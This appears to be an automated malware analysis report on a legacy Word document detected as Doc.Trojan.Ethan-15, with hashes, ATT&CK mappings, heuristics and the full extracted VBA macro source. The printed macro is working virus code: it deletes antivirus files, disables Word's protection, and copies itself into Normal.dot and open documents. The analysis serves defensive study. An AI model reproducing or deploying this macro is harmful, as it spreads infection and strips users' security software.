Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 049fe4e8170c12df…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-09-15 08:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 182ec4cb31a5a172509622de26189a2a SHA-1: eadf3f259b5243436b8c00ed4ebdaf8d02db14dc SHA-256: 049fe4e8170c12df0024c7a23407c000f8f16836b3f85b386e96006cae028c1e
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The script attempts to disable antivirus protection and inject itself into the Normal.dot template or the active document, indicating an attempt at persistence. The presence of the 'Doc.Trojan.Ethan-15' ClamAV detection further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-15 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-15
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1638 bytes
SHA-256: c82ecdf367e8d29f24b5f9ed3f6dd4ce3b3603acf2ea203e2e222739e56eeec5
Detection
ClamAV: Doc.Trojan.Ethan-15
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'$$0000005
Private Sub Document_Open()
VirusProtection = False
SaveNormalPrompt = False
On Error Resume Next
r = Dir("c:\program files\AntiViral Toolkit Pro\*.*")
If r <> "" Then
For c = 1 To 5
Kill "c:\program files\AntiViral Toolkit Pro\" & r
Next c
End If
If Dir(Application.Path & "\$$$.ant", 6) = "" Then
Open (Application.Path & "\$$$.ant") For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).codemodule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).codemodule.Lines(i, 1)
Print #1, a
Next i
Close #1
End If
SetAttr Application.Path & "\$$$.ant", 6
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(2, 1) <> "Private Sub Document_Open()" Then
Open Application.Path & "\$$$.ant" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.InsertLines i, a
i = i + 1
Loop
Close #1
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1) <> "Private Sub Document_Open()" Then
Open Application.Path & "\$$$.ant" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
ActiveDocument.VBProject.VBComponents.Item(1).codemodule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
Else
End If
ActiveDocument.SaveAs ActiveDocument.FullName
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.